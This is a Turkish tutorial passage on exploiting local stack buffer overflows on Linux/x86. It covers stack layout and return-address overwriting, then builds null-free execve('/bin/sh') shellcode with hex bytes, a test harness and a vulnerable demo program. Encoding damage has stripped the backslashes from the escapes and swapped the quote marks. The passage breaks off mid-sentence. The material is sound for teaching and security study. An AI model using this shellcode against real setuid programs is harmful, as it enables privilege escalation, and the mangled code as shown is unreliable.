Buffer overflow`larin
ortaya cikma tarihi 1970`ler. Ilk public kullanimi 1980`ler (Morris Worm). Kendisiyle
ilgili dokumanlar ve kodlar Internet`te 1990`dan beri yayinlaniyor. 2001 senesindeyiz
ve hala bu konuda Turkce dokuman YOK.
Bu dokuman boyle asiri
detay iceren ve cok dikkat gerektiren konularla ilgili dokumanlar serisinin
ilki olup, en temel acik turu olan lokal programlardaki buffer overflow aciklarini
kullanan exploit yazmayi ogretmeyi amacliyor.
Dokumani anlamak icin yuzeysel C, assembly bilmeniz gerekli. Sanal bellek, bir
proses`in bellekte nasil yerlestigi ve benzeri isletim sistemi kavramlari bilgileri
cok yardimci olur. Ayrica setuid programlarin ne olduklari ve nasil calistiklari
gibi temel Unix bilgileri dokumani anlamaniz icin sart. Gdb ve gcc ile daha
onceden calismis olmaniz teknik olarak isinizi kolaylastiracaktir. Dokuman
Linux/ix86 spesifiktir. Detaylar az farkla isletim sistemi ve mimariye gore
degisir. Ilerideki dokumanlarda farkli
mimarilerde ve nispeten daha zor overflow ve shellcode tekniklerini aciklanacaktir.
Buffer Overflow Nedir?
Buffer overflow`u tanimlayabilmek icin once buffer nedir, onu tanimlamamiz
gerekiyor. Buffer, hafizada ard arda dizili turdes veri tipi (int, char gibi)
depolayan hafiza blogudur. C`de bunlar array olarak gecer.
Diger butun veri turleri gibi, array`ler de static yada dinamik olarak siniflandirilabilirler.
Static degiskenler, program hafizaya yuklenirken, programin `data segment`ine
yerlestirilir, dinamik degiskenler ise, program halihazirda calisirken, dinamik
olarak ’stack’ dedigimiz hafizada program icin hazirlanmis ozel bolumde yaratilip,
yokedilirler. Iste buffer overflow dedigimiz olay da, bu dinamik degiskenlerin
tasiyabilecekleri veri miktarindan fazlasini yukleyerek degisken`in sinirlarini
asmadir. Kaba bir tabirle, 10 byte veri tasiyabilecek bir array`a 20 byte kopyalamak
bu buffer`i overflow etmek demektir.
Bir Linux ELF programinin bellekteki yerleskesi cok karmasik. Ozellikle ELF
(detayli bilgi icin google`da ’Executable and Linkable Format’ diye aratin)
ve shared library`lerin ortaya cikmasiyla yerleske daha da karmasik hale geldi.
Fakat temel olarak, her bir proses calismaya 3 segmentle baslar:
text, data ve stack.
1. Text segment, (genellikle bu programi calistiran tum prosesler tarafindan
paylasilan) salt okunur, programin instructionlarini iceren bolgedir. Ornegin
programinizdaki:
for (i = 0; i < 10; i++)
s += i;
C koduna denk gelen assembly instruction`larini bu bolgede bulabilirsiniz.
2. Data segment, tanimlanmis veri ve (BSS olarak da bilinen) tanimlanmamis verilerin
bulundugu bolgedir. Ornegin
int i;
diye kullanirsaniz, ’i’ degiskeni icin BSS`te bir yer ayrilir.
int j = 5;
seklinde tanimlarsaniz, ’j’ degiskeni icin data segment`in tanimlanmis veriler
icin ayrilmis bolgesinde yer ayrilir.
3. Stack olarak adlandirilan, dinamik degiskenlerin (veya C jargonunda
otomatik degiskenlerin) kendisinde olusturuldugu, JMP, CALL gibi fonksiyon
cagrilarinin geri donus address`lerinin de gecici olarak saklandigi bolgedir.
Ornegin asagidaki fonksiyonda, i degiskeni stack`te yaratilir, ve
fonksiyon cikisinda yok edilir:
int myfunc(void)
{
int i;
for (i = 0; i < 10; i++)
putchar(’*’);
putchar(`n`);
}
Sembolize edecek olursak:
0xBFFFFFFF ---------------------
| |
| . |
| . |
| . |
| . |
| etc |
|env/argv pointer|
| argc |
|--------------------|
| |
| stack |
| |
| | |
| | |
| V |
/ /
| |
| ^ |
| | |
| | |
| |
| heap |
|--------------------|
| bss |
|--------------------|
| tanimlanmis veri|
|--------------------|
| text |
|--------------------|
| shared librariler |
| vs. |
0x8000000 |-------------------|
_* STACK *_
Gunumuzde neredeyse butun islemcilerin ’built-in’ stack destegi var. Stack,
LIFO (Last In, First Out - son gelen ilk cikar) seklinde duzenlenmis bir
veri yapisidir. Islemci, PUSH ve POP gibi komutlarla stack`a veri aktarir, ya
da stack`dan veri cikarir, yani stack`ten cikarilacak ilk veri, stack`e aktarilan
son veri olacaktir.
Islemcideki SP (Stack Pointer) register`i, stack`ten cikarilacak veri`nin adresini
icerir. SP`nin son veriye mi, yoksa son veriden bir sonraki adrese
mi isaret edecegi de islemciden islemciye degisir, fakat mevzumuz olan ix86
mimarisinde SP en son verinin adresine isaret eder. Bu veri, stack`in en
ustudur. ix86 korumali modda (protected mode) stack`ten veri
cikarilmasi veya eklenmesi 4 byte`lik (32 bit/double word) uniteler halinde
olur. Stack`le ilgili diger onemli bir konu ise yukaridaki resimde
goruldugu gibi genellikle asagiya dogru buyumesi. Yani, SP`nin degeri 0xFF ise,
PUSH EAX instruction`indan sonra SP`nin degeri 0xFC olur ve EAX`in
degeri 0xFC adresinde yerlesir.
PUSH instruction`i, ESP`den 4 byte cikararak (bi ust paragrafi hatirlayin)
stack`e bir double word push eder, ve double word`u ESP registerinin icindeki
adrese yerlestirir. POP instruction`i da, ESP registerindaki adresi okur,
ordaki degeri stack`tan cikarir, ve ESP`nin degerini 4 artirir (ESP deki
adresi 4 artirir). ESP`nin baslangic degerinin 0x1000, oldugunu dusunerek asagidaki
assembler kodunu inceleyelim:
PUSH dword1 ;dword1`deki deger 1, ESP`nin degeri su anda 0xFFC (0x1000 - 4)
PUSH dword2 ;dword2`deki deger 2, ESP`nin degeri su anda 0xFF8 (0xFFC - 4)
PUSH dword3 ;dword3`deki deger 3, ESP`nin degeri su anda 0xFF4 (0xFF8 - 4)
POP EAX ; EAX`in degeri 3, ESP`nin degeri su anda 0xFF8 (0xFF4 + 4)
POP EBX ; EBX`in degeri 2, ESP`nin degeri su anda 0xFFC (0xFF8 +4)
POP ECX ; ECX`in degeri 1, ESP`nin degeri su anda 0x1000 (0xFFC + 4)
Stack, gecici veri depolamak, dinamik degiskenleri saklamanin yaninda, fonskiyon
cagrilari yaparken, geri donus adresini saklamak, yerel degiskenleri depolamak,
fonksiyonlara paremetre yollamak icin kullaniliyor.
CALL ve RET instruction`lari:
ix86 islemci ailesi, RET ve CALL isminde, fonksiyon cagrilarini hizli
ve kolay hale getiren iki instruction sagliyor. Dusunun, program calisiyor,
instruction`lar teker teker calistiriliyorlar, ve bir fonksiyon
cagirildi.
IP (Instruction Pointer) artik hafizada o fonksiyonun baslangicini
gosteriyor. Peki, fonksiyon bittiginde nereden devam edecegiz? Fonksiyon
bittiginde, IP fonksiyon cagrilmadan onceki instruction`dan
bi sonraki instruction`in
adresini gostermeli.
Su kodu inceleyelim:
x = 0;
fonksiyon(1, 2, 3);
x = 1;
x = 0 icin gerekli olan birkac assembly komutu calistiktan sonra,
fonksiyon()`un bulundugu hafiza bolmesine gitmemiz gerekiyor. Bunun
icin normalde, once bir sonraki instruction`un adresini (x =
1) stack`e kopyalar, JMP ile fonksiyonun adresine ziplar, fonksiyonun
bitiminde, daha once stack`e sakladigimiz ’geri donus adres’ine tekrar
JMP ederiz.
Iste, CALL instruction`u bu islemler dizisini bizim icin otomatik olarak
yapiyor. Programin herhangi bir yerinde CALL cagrildiginda, once bir sonraki
instuction`un adresi stack`a PUSH edilir arkasindan da fonksiyon()`un
adresine gidilip ordaki instuction`lar calistirilir. Fonksiyon
bittiginde ise, RET ile
geri donus adresi, stack`ten POP edilir, ve o adres EIP`ye yazilir. Boylece,
progmanin calistirilmasina kalindigi yerden devam edilir.
Simdi, yukaridaki fonksiyon() cagrildiktan hemen sonraki stack`in
durumuna bakalim
| 1 | ESP+12
| 2 | ESP+8
| 3 | ESP+4
|geri donus adresi| ESP
Simdi, eger stack, cagirdigimiz fonksiyon() icinde local degiskenleri
saklamak icin de kullanilacak, stack pointer`in (ESP) degeri de degisecektir
demektir. Fakat, biz ESP`nin degerini de korumaliyiz, cunku fonksiyon()`dan
ciktiktan sonra da, main() icinde ESP kullanilmaya devam edecek, ve fonksiyon()`dan
geri donuldugunde main() ESP`yi fonksiyon cagirilmadan onceki
degerinde gormek isteyecek. Bunun icin de, ESP, EBP (Extendend Base Pointer)
olarak kopyalanir, ve stack`a PUSH edilir. (Dipnot olarak sunu da belirtelim
ki, anlatilan bu protokol diger adiyla ABI (Application Binary Interface)
Unix firmalari ve islemci ureticilerini iceren bir konsorsiyum tarafindan
belirlenmistir. Bu sebeple, ayni mimaride calisan Unix isletim
sistemleri binary`leri genellikle birbirlerinde calismaktadir, ornegin Linux
binary`lerinin Solaris/ix86 veya SCO`da calismasi gibi) EBP`nin de stack`a PUSH
edildigi ve yerel(otomatik) degiskenler icin de yer ayrildigi stack`in gorunusu:
| 1 | EBP+16
| 2 | EBP+12
| 3 | EBP+8
|geri donus adresi| EBP+4
| saklanmis ESP | EBP
| yerel_degisken_1| EBP-4
| yerel_degisken_2| EBP-8
Yukaridaki sekilde parametre 1, 2 ve 3, fonksiyon(1, 2, 3) deki,
fonksiyon()`a girilen parametreler, geri donus adresi ve saklanmis
ESP`den sonra da fonksiyon icindeki yerel(otomatik) degiskenler
yerel_degisken_1, yerel_degisken_2 oluyor.
Simdi butun bu ogrendiklerimizi toparlayacak olursak, bir fonksiyon
cagrilirken:
1. ESP`nin degeri, EBP olarak kopyalanip, stack`a PUSH edilir
2. bir sonraki instruction`un adresi stack`a PUSH edilir
3. fonksiyon CALL edilir.
Yukaridaki islemler dizisine ’Procedure Prologue’ denir. Procedure Epilogue
da, RET cagrildiginda bunun tam tersi yapilarak stack bosaltiliyor, ve fonksiyon
cagrilmadan onceki haline geri donuyor.
Simdi, stack`in isleyisini basit bir ornek uzerinde gorelim:
void fonksiyon(int a, int b, int c)
{
char foo1[6];
char foo2[9];
}
void main()
{
fonksiyon(1,2,3);
}
Simdi bu kodu, gcc`ye -S switch`i vererek derleyelim, boylece programin olusturlan
assembly kodunu gorebilecegiz:
[CW@pathfinder CW]$ gcc ornek.c -S -o ornek.S
ornek.S dosyasindaki main: kismina bakalim:
main:
pushl %ebp
movl %esp,%ebp
pushl $3
pushl $2
pushl $1
call fonksiyon
Yukarida gordugunuz gibi, once main() icin procedure prologue yapilmis.
EBP PUSH edilmis, eski Stack Pointer`in degeri, EBP`ye kopyalanmis. Sonra
sirasiyla *tersten* 3., 2., ve 1. fonksiyon argumanlari stack`e PUSH
edilimis, ve en sonunda da fonksiyon cagrilmis.
fonksiyon`un icine bakalim simdi de:
fonksiyon:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
gene ayni sekilde procedure prologue tekrarlanmis:
Base pointer stack`a push edilmis, bir stack pointer`in bir onceki degeri
stack`a push edilmis, ve yerel degiskenler icin toplam 20 byte`lik yer acilmis.
Eger foo1 ve foo2 array`larinin toplam uzunlugu 6+9 = 15 byte, neden 20 byte
cikarilmis diye sorarsaniz, hafiza, dolayisiyla stack, 4 byte`lik bloklar halinde
adreslenir, stack`a 1 bytelik veri PUSH edemezsiniz ve PUSH islemleri genellikle
4 byte`lik bloklarla yapilir.
foo1[6], 8 byte yer kaplayacak,
foo2[9], 12 byte yer kaplayacak, dolayisiyla, 8+12 = 20!
Simdi fonksiyon cagrildiginda stack`in goruntusu soyle olacaktir:
| 1 | EBP+16
| 2 | EBP+12
| 3 | EBP+8
|geri donus adresi| EBP+4
| saklanmis ESP | EBP
| foo1 | EBP-4
| foo1 | EBP-8
| foo2 | EBP-12
| foo2 | EBP-16
| foo2 | EBP-20
Simdi, sizin de tahmin ettiginiz uzere, foo1`e 8 byte`dan fazla, foo2`ye 12
byte`dan fazla veri yukledigimizde foo1 veya foo2 icin ayrilmis buffer`i overflow
etmis oluruz. foo1 array`ine 8 byte`dan fazla mesela 8 arti 4 byte daha eklersek
saklanmis ESP`in uzerine yazmis oluruz, bir 4 byte daha yazarsak, geri donus
adresinin uzerine yazmis oluruz ki, buffer overflow
aciklarinin exploit edilmesi temelde budur.
Simdi, buffer overflow olayini basit bir ornekle daha iyi aciklamaya calisalim:
Soyle bir kodumuz olsun:
void fonksiyon(char *str)
{
char foo[16];
strcpy(foo, str);
}
void main()
{
char buyuk_array[256];
memset(buyuk_array, `A`, 255);
fonksiyon(buyuk_array);
}
Yukarida yaptigimiz sey, normalde 16 byte alabilecek bir array`a 255 byte saklamaya
calismak. main() icinde 255 bytelik bir array`i fonksiyon()` a parametre
olarak gonderdik, fonksiyon icinde ise array`lerin sinirlarini
kontrol etmeden, strcpy() ile uzun array`in tamamini foo[] dolup tasana
kadar kopyaladik.
Boylece buffer doldu tasti, geri donus adresi de dahil olmak uzere hafizanin
bir kismini `A` harfi ile doldurdu. Bu programi derleyip calistirirsak, ’Segmentation
fault (core dumped)’ hatasi aliriz. Bu hatanin sebebi genellikle programin kendine
ait bellek kismi disindaki kisimlara erismeye calismasidir. Core dosyasini,
programin crash ettigi andaki hafiza fotografi olarak dusunebiliriz.
gdb ile olusan core dosyasini incelersek:
[CW@victim CW]$ gdb -q ./e ./core
Core was generated by `./e`
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb)
Gordugunuz gibi, RET instruction`i EIP register`ina `AAAA` ya karsilik
gelen 0x41414141 adresini PUSH ettigi icin, bu adresteki instruction`a
islemci tarafindan erisilmeye calisilmis. Fakat bu adres prosesin erisim yetkisi
disinda oldugu icin isletim sistemi SIGSEGV signaliyla programin calismasina
son vermis.
fonksiyon`u cagirdigimizda Stack`in gorunumu soyledir:
| *str | EBP+8
|geri donus adresi| EBP+4
| saklanmis ESP | EBP ESP
| foo1 | EBP-4
| foo1 | EBP-8
| foo1 | EBP-12
| foo1 | EBP-16
Biz strcpy()`yi cagirdigimizda buyuk_array, foo1 array`inin baslangic adresi
olan EBP-16`dan baslayarak, yukari dogru butun stack`i A ile dolduruyor. Simdi,
peki, geri donus adresinin uzerine yazabildik, o zaman o adrese calismasini
istedigimiz baska bir program parcaciginin adresini koysak, fonksiyon
geri dondugunde o program parcaciginin adresine gidip, ordaki
instruction`lari calistirmaya baslamaz mi?
Cevap: Evet baslar. Mesela biz buraya /bin/sh calistiran bir kodun adresini
koysak, fonksiyon geri dondukten sonra /bin/sh calistiracak
olan kod calismaya baslayacak ve biz shell`e dusecegiz.
Pointer aritmetigi ile, geri donus adresinin degerini degistiebildigimizi
soyle ufak bir ornekte anlatmaya calisalim:
void fonksiyon(int a, int b, int c)
{
char foo[6];
int *ret;
ret = foo + 12;
(*ret) += 8;
}
void main()
{
int x;
x = 0;
fonksiyon(1, 2, 3);
x = 1;
printf(’%dn’, x);
}
Yukaridaki kodu calistirisaniz, x degerinin 1 olarak degil 0 olarak
basildigini goreceksiniz. Burada yaptigimiz sey, geri donus adresinin degeri
ile oynayarak, x = 1; komutunu pas gecmek oldu.
Yukaridaki kodda daha once de anlattigimiz gibi, fonksiyon cagrilmadan
once, bir sonraki instruction`un yani ’x = 1’e denk gelen instruction`in
adresi geri donus adresi olarak stack`e PUSH ediliyor. Fonksiyon
cagrildiktan sonra stack`in gorunumunu sembolize edecek olursak:
| a | EBP+16
| b | EBP+12
| c | EBP+8
|geri donus adresi| EBP+4
| saklanmis ESP | EBP ESP
| foo | EBP-4
| foo | EBP-8
fonksiyon icinde bir integer`a pointer olan *ret, in adresini, foo`nun
adresi + 12 olarak belirledik. Yukaridaki sekle bakarsaniz, foo`nun adresi(ESP-8)`e
12 eklerseniz geri donus adresinin basina gelmis oluruz. (*ret) += 8 yaparak
da, o bolmede saklanmakta olan geri donus adresinin degerini 8 aritiriyoruz.
Neden mi? Kodumuzun assembler dump`ina bakalim:
0x804849d : pushl $0x3
0x804849f : pushl $0x2
0x80484a1 : pushl $0x1
0x80484a3 : call 0x8048470
0x80484a8 : addl $0xc,%esp
0x80484ab : movl $0x1,0xfffffffc(%ebp)
0x80484b2 : movl 0xfffffffc(%ebp),%eax
0x80484b5 : pushl %eax
0x80484b6 : pushl $0x804851c
0x80484bb : call 0x80483bc
0x80484c0 : addl $0x8,%esp
0x80484c3 : leave
0x80484c4 : ret
daki fonksiyon`a CALL yapilmadan once ne yapiliyordu? Bir sonraki
instruction`un adresi stack`a push ediliyordu. Yani stack`e diger instruction`un
adresi olarak (x = 1`in) 0x80484ab adresi PUSH edilecek. Fakat biz burdaki instruction`u
gecmek ve de direkt olarak 0x80484b2 adresinden
devam etmek istiyoruz. Aradaki fark da 0x80484b2 - 0x80484ab = 0x8.
Yani 8 byte`lik bir fark var. O zaman, stack`a PUSH edilen geri donus adresini
degerini 8 artirirsak, x = 1 islemini bypass etmis olacagiz. Iste bu nedenle
8 byte artiriyoruz: (*ret) += 8;.
Evet, eger retun adresin degeri ile oynayip, onu istedigimiz bir hafiza
bolmesine yonlendirebiliyorsak, o zaman, hafizada shell spawn eden bir
instruction`lar dizisi bulundurur, geri donus adresini de bu instruction`lar
dizisinin baslangic adresi olarak degistiririz, ve voila, direk olarak shell`e
duseriz!!!
Peki o zaman, shell spawn etmek icin ne yapmali? En basitinden C`de soyle olacaktir:
#include
void main()
{
char *shell[2];
shell[0] = ’/bin/sh’;
shell[1] = NULL;
execve(shell[0], shell, NULL);
}
execve(2)`yi okursaniz, execve system call`u calistirilacak dosya ismine pointer,
arguman pointer`i ve de NULL da olabilen bir environment pointer`i aliyor.
Bu kodu derleyip calistirirsaniz:
[Robot@victim Robot]$ ./s
bash$
baska bir shell spawn etmis olursunuz...
Fakat biz ’shell spawn eden programimizi’ boyle cagiramayiz, oyle degil mi?
O zaman bunu makinanin direkt calistirabilecegi instruction`lar dizisi
haline getirmek lazim. Yukaridaki kodumuzu gcc`ye --static parametresi vererek
derleyip, assembler ciktisina bakalim:
[Robot@victim Robot]$ gcc --static -o s s.c
[Robot@victim Robot]$ gdb ./s
(gdb) disas main
Dump of assembler code for function main:
0x8048124 : pushl %ebp
0x8048125 : movl %esp,%ebp
0x8048127 : subl $0x8,%esp
0x804812a : movl $0x80592ac,0xfffffff8(%ebp)
0x8048131 : movl $0x0,0xfffffffc(%ebp)
0x8048138 : pushl $0x0
0x804813a : leal 0xfffffff8(%ebp),%eax
0x804813d : pushl %eax
0x804813e : movl 0xfffffff8(%ebp),%eax
0x8048141 : pushl %eax
0x8048142 : call 0x804ca10
0x8048147 : addl $0xc,%esp
0x804814a : leave
0x804814b : ret
0x804814c : nop
0x804814d : nop
0x804814e : nop
0x804814f : nop
End of assembler dump.
(gdb)
Yukarida kisaca, ve de procedure prologue goruluyor,
-- char *shell icin gerekli 8 byte stack pointer`dan cikiliyor,
-- ’/bin/sh’ string`inin adresi EBP - 8`e yani shell[0]`a konuyor
- 0x0 yani NULL EBP - 4`e konuyor
simdi de sirasiyla argumanlar bir sonraki fonksiyon (execve)
icin stack`a PUSH ediliyor...
- 0x0 (shell[1]) PUSH ediliyor
- shell[0]`daki ’/bin/sh’ in adresi EAX registirina konuyor
- EAX stack`a push ediliyor, (dolayisiyla shell[0]in icindeki efektiv adres)
- shell[0] in adresi EAX`a kopyalaniyor,
- EAX gene PUSH ediliyor
- execve() cagriliyor...
Simdi de execve`nin assembler dump`ina bakalim:
(gdb) disas __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
Ilk uc satir, procedure prologue:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
Syscall table`daki execve`nin numarasi olan 11`i EAX`a kopyaliyoruz.
(farkli system call calistirmak isteyebilirsiniz, system call`un numarasini
/usr/src/linux/include/asm/unistd.h dosyasindan ogrenebilirsiniz. Farkli system
call`lari kullanan daha egzotik shellcode`lari sonraki dokumanlarda bulabileceksiniz)
0x80002c0 <__execve+4>: movl $0xb,%eax
’/bin/sh’ in adresini EBX`e kopyaliyoruz:
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
shell[]`in adresini ECX`e kopyaliyoruz:
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
NULL pointer`in adresini EDX`e kopyaliyoruz:
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
ve, kernel mod`a geciyoruz:
0x80002ce <__execve+18>: int $0x80
Simdi de, exit() icin gerekli assebmly kodlari:
(gdb) disas _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
Yukarida da, ozet olarak, EAX register`i syscall table`da exit`in karsiligi
olan 1 yapilip, EBX`de 0 yapilip kernel mode`a geciliyor.
Evet yukaridakileri soyle bir ozetlersek, yaptigimiz sey, stack`a shell[0],
shell ve NULL PUSH edip execve`yi cagirmakti. Sonra execve ’/bin/sh’i calistirdi.
Yalniz dikkat ediniz, execve`nin icinde yapilan isler tamamen Linux-specific`tir.
Linux, kernel moduna gecmeden once gerekli olan seyleri register`lara koyar
ve sonra da kernel moduna gecer, eger isletim sistemimiz
FreeBSD olsa idi, execve bu parametreleri gene stack`a koyacakti...
execve`nin calismasi icin gereken sartlar:
1. Hafizanin bir yerinde ’/bin/sh’ stringini bulundurmak,
2. ’/bin/sh’ in adresini ve arkasindan bir adet null long word bulundurmak
3. system call table`da execve`yi tanimlayan 0xb (11) degerini EAX registerina
koymak
4. ’/bin/sh’ in adresinin adresini EBX registerina koymak
5. shell`in adresini ECX registerina koymak
6. null long word`un adresini EDX registerina koymak,
7. 0x80 ile kernel moda gecmek.
Iste bu kadar, yalniz execve`de bir sorun oldugunda programin smooth exit yapabilmesi
icin bir de buna exit() system call`unu eklemeliyiz, ama bu zorunlu degil. Bunu
yapmayip shellcode`unuzu kisaltabilirsiniz.
exit() calistiran bir programi assembler koduna baktiginiz zaman, exit syscall`unun
da kernel moda gecmeden evvel, EAX registerina 0x1 (1) ve de, EBX registerina
0x0 (0) istedigini goreceksiniz.
O zaman 7. den sonra 8, 9 ve 10. adimlarimizi da yazalim:
8. system call table`da exit`in karsiligi olan 0x1`i EAX`a koy
9. EBX`e 0x0 koy
10 0x80 ile kernel moduna gec.
Evet, kisaca boyle. Bu isleri yapan bir shell code yazip, objdump`la hex karsiligini
bulabiliriz:
void main() {
__asm__(’
jmp 0x2a # 3 byte
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 byte
movb $0x0,0x7(%esi) # 4 byte
movl $0x0,0xc(%esi) # 7 byte
movl $0xb,%eax # 5 byte
movl %esi,%ebx # 2 byte
leal 0x8(%esi),%ecx # 3 byte
leal 0xc(%esi),%edx # 3 byte
int $0x80 # 2 byte
movl $0x1, %eax # 5 byte
movl $0x0, %ebx # 5 byte
int $0x80 # 2 byte
call -0x2f # 5 byte
.string ’/bin/sh’ # 8 byte
’);
}
Bu programi derleyip objdump`la sadece main`in icerigine bakalim:
[Robot@victim Robot]$ make q
cc q.c -o q
[Robot@victim Robot]$ objdump -d q | grep : -A23 | more
08048440 :
8048440: 55 pushl %ebp
8048441: 89 e5 movl %esp,%ebp
8048443: eb 2a jmp 804846f
8048445: 5e popl %esi
8048446: 89 76 08 movl %esi,0x8(%esi)
8048449: c6 46 07 00 movb $0x0,0x7(%esi)
804844d: c7 46 0c 00 00 movl $0x0,0xc(%esi)
8048452: 00 00
8048454: b8 0b 00 00 00 movl $0xb,%eax
8048459: 89 f3 movl %esi,%ebx
804845b: 8d 4e 08 leal 0x8(%esi),%ecx
804845e: 8d 56 0c leal 0xc(%esi),%edx
8048461: cd 80 int $0x80
8048463: b8 01 00 00 00 movl $0x1,%eax
8048468: bb 00 00 00 00 movl $0x0,%ebx
804846d: cd 80 int $0x80
804846f: e8 d1 ff ff ff call 8048445
8048474: 2f das
8048475: 62 69 6e boundl 0x6e(%ecx),%ebp
8048478: 2f das
8048479: 73 68 jae 80484e3 <_etext+0x33>
804847b: 00 c9 addb %cl,%cl
804847d: c3 ret
Gordugunuz gibi bize gerekli instruction`lar 0x8048443`ten itibaren basliyor.
Dikkat ederseniz, instruction`lar arasinda ornegin movl $0xb,%eax`a
denk gelen 0 iceren bir kac byte vardir. Sorun su ki, strcpy() ve arkadaslari
0 byte`i string`in sonu olarak algiliyor, yani bu haliyle bizim shellcode
sadece ilk 0 byte`a kadar kopyalanacak. 0`lara denk gelen instruction`lari
bunlarin dengi fakat 0 icermeyen instruction`larla degistirip tekrar
deneyelim. Asagida, hangi instruction`lari hangileriyle degistirdigimiz
yeraliyor:
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
Ve yeni shellcode`umuz:
void main() {
__asm__(’
jmp 0x1f # 2 byte
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 byte
xorl %eax,%eax # 2 byte
movb %eax,0x7(%esi) # 3 byte
movl %eax,0xc(%esi) # 3 byte
movb $0xb,%al # 2 byte
movl %esi,%ebx # 2 byte
leal 0x8(%esi),%ecx # 3 byte
leal 0xc(%esi),%edx # 3 byte
int $0x80 # 2 byte
xorl %ebx,%ebx # 2 byte
movl %ebx,%eax # 2 byte
inc %eax # 1 byte
int $0x80 # 2 byte
call -0x24 # 5 byte
.string ’/bin/sh’ # 8 byte
# toplam 46 byte
’);
}
[Robot@victim Robot]$ make q
cc q.c -o q
[Robot@victim Robot]$ objdump -d q | grep : -A23
08048440 :
8048440: 55 pushl %ebp
8048441: 89 e5 movl %esp,%ebp
8048443: eb 1f jmp 8048464
8048445: 5e popl %esi
8048446: 89 76 08 movl %esi,0x8(%esi)
8048449: 31 c0 xorl %eax,%eax
804844b: 88 46 07 movb %al,0x7(%esi)
804844e: 89 46 0c movl %eax,0xc(%esi)
8048451: b0 0b movb $0xb,%al
8048453: 89 f3 movl %esi,%ebx
8048455: 8d 4e 08 leal 0x8(%esi),%ecx
8048458: 8d 56 0c leal 0xc(%esi),%edx
804845b: cd 80 int $0x80
804845d: 31 db xorl %ebx,%ebx
804845f: 89 d8 movl %ebx,%eax
8048461: 40 incl %eax
8048462: cd 80 int $0x80
8048464: e8 dc ff ff ff call 8048445
8048469: 2f das
804846a: 62 69 6e boundl 0x6e(%ecx),%ebp
804846d: 2f das
804846e: 73 68 jae 80484d8 <_fini+0x28>
8048470: 00 c9 addb %cl,%cl
Shell kodumuzu deneyelim:
char shellcode[] =
’xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b’
’x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd’
’x80xe8xdcxffxffxff/bin/sh’;
void main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = shellcode;
}
[Robot@victim Robot]$ make shellcode
cc shellcode.c -o shellcode
[Robot@victim Robot]$ ./shellcode
bash$
Iste calisti!
Yaptigimiz sey, main() icindeki pointer to integer olan ret degiskeninin adresini
2 birim (8 byte) artirarak geri donus adresinin oldugu yere gitmek, sonra
da o bolume shellcode`umuzun adresini saklamakti. main RET yaptiginda
geri donus adresi yerine shell kodumuzun adresini POP edildi, ve islemci
bu adresteki instruction`lari calistirdi...
-- Exploit Yazma --
Simdi kendimiz bir buffer overflow hatasi olan bir kod yazip, ondan shell
calistiralim:
victim.c:
char shellcode[] =
’xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b’
’x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd’
’x80xe8xdcxffxffxff/bin/sh’;
char large_str[50];
void main()
{
int i;
char foo[12];
int *ap = (int *)large_str;
for (i = 0; i < 50; i += 4)
*ap++ = shellcode;
strcpy(foo, large_str);
}
[Robot@victim Robot]$ make victim
cc victim.c -o victim
[Robot@victim Robot]$ ./victim
bash$
Voila! Iste bu kadar. Peki ne yaptik? for dongusunde, large_str array`ine
shellcode`umuz olan shellcode`nin adresini kopyaladik. Adres 32 bit - 4 byte
oldugu icin, i degiskenini 4`er artiriyoruz. Daha sonra, main()`in icindeki
12 bytelik array`e, shellcode`umuzun adresini barindiran 50 bytelik bir array
kopyalayinca (strcpy()), geri donus adresinin uzerine large_str`nin icerigi
-- bizim shellcode`un adresi -- yazildi. Ve dolayisiyla main() cagrilmadan once
save edilen geri donus adresi, shell kodumuzun adresi ile override edildi.
Boylece main()`deki RET shellcode`un adresini POP ediyor ve islemci
o adresteki instruction`lari calistirip bize shell prompt veriyor. Burda
